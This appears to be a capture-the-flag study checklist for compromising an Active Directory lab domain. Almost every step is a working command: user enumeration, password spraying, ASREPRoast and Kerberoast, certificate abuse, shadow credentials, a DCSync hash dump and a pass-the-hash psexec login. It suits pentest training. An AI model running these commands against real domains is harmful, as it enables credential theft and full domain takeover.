Active Directory

Every new user you get reopens the list: go back to authenticated enumeration with them before moving on.

Target 0 of 22

Hide completed

Commands use the values you typed in the cheat sheets (your IP, the target's, the domain...).

No credentials 0/6

Get the domain and DC names (nmap, LDAP, SMB)
```
netexec smb 10.10.11.20
```
Sync your clock with the DC (Kerberos fails beyond 5 minutes of skew)
```
sudo ntpdate 10.10.11.20
```

Null or guest session on SMB, RPC and LDAP

netexec smb 10.10.11.20 -u guest -p '' --rid-brute

Enumerate valid users through Kerberos

kerbrute userenum -d box.htb --dc 10.10.11.20 usuarios.txt

ASREPRoast users without pre-authentication

impacket-GetNPUsers box.htb/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.11.20

Careful password spraying (check the lockout policy first)

netexec smb 10.10.11.20 -u usuarios.txt -p 'Password123!' --continue-on-success

Collect BloodHound data and mark the user as owned

bloodhound-python -d box.htb -u usuario -p 'Password123!' -ns 10.10.11.20 -c All --zip

Readable shares: scripts, GPP, config files

netexec smb 10.10.11.20 -u usuario -p 'Password123!' -M spider_plus

User descriptions and attributes holding passwords

netexec ldap 10.10.11.20 -u usuario -p 'Password123!' -M get-desc-users

Kerberoast service accounts with SPNs

impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request

Look for vulnerable certificate templates (ESC1-ESC16)

certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout

Read LAPS and gMSA passwords if you are allowed to
```
netexec ldap 10.10.11.20 -u usuario -p 'Password123!' -M laps
```
Guide →

Try the user on MSSQL, WinRM and RDP

netexec winrm 10.10.11.20 -u usuario -p 'Password123!'

Follow abusable ACLs in BloodHound (GenericAll, WriteDACL, ForceChangePassword...)

Guide →
Shadow credentials if you can write msDS-KeyCredentialLink
```
certipy shadow auto -u [email protected] -p 'Password123!' -account objetivo
```
Cheat sheet → Guide →
Unconstrained, constrained and resource-based delegation
```
impacket-findDelegation box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
```
Cheat sheet → Guide →
NTLM relay and coercion (unsigned SMB, WebDAV, PetitPotam)

Cheat sheet → Guide →
Privileged groups: Backup Operators, Server Operators, DnsAdmins, Account Operators

Cheat sheet →

DCSync with an account that has replication rights

impacket-secretsdump box.htb/[email protected] -hashes :64f12cddaa88057e06a81b54e73b949b -just-dc-ntlm

Confirm access with the admin hash (pass-the-hash)

impacket-psexec box.htb/[email protected] -hashes :64f12cddaa88057e06a81b54e73b949b